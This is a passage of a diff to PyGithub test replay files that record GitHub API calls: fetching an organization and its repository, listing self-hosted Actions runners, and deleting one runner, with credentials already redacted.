'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e03ba66cb434ea917b2213d2e622f165"'), ('Last-Modified', 'Sun, 23 Aug 2020 16:44:50 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4923'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '77'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17A:56E7:26E44F:7DEC16:5F56AD8E')] +{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2020-06-17T16:24:55Z","updated_at":"2020-08-23T16:44:50Z"} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7a5cc4812eca7f648163b812ab640780"'), ('Last-Modified', 'Mon, 07 Sep 2020 20:43:44 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4922'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '78'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17B:1CD4:39BA46:AA1973:5F56AD8F')] +{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-09-07T20:43:44Z","pushed_at":"2020-09-07T20:43:41Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":23564,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":10,"license":null,"forks":1,"open_issues":10,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTB3PDURD2NVIUHG5KC7K2XLW","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":2} diff --git a/tests/ReplayData/PullRequest1684.testDeleteRunnerId.txt b/tests/ReplayData/PullRequest1684.testDeleteRunnerId.txt index fefb1bff48..a26f741646 100644 --- a/tests/ReplayData/PullRequest1684.testDeleteRunnerId.txt +++ b/tests/ReplayData/PullRequest1684.testDeleteRunnerId.txt @@ -1,33 +1,32 @@ -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"350cc5b181e4368b7aa3827a5e068520"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4892'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '108'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C347:465E:16E586E:354B93F:5F56AF39')] -{"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} - -https -DELETE -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners/1363 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -204 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:53 GMT'), ('Status', '204 No Content'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4891'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '109'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C348:313D:D919B0:202918B:5F56AF39')] - - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e180057e7da9736b4441f820ae26460d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4890'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '110'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C349:4AD9:B9E781:1E2DFAF:5F56AF39')] -{"total_count":18,"runners":[{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} - +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"350cc5b181e4368b7aa3827a5e068520"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4892'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '108'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C347:465E:16E586E:354B93F:5F56AF39')] +{"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} + +https +DELETE +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners/1363 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:53 GMT'), ('Status', '204 No Content'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4891'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '109'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 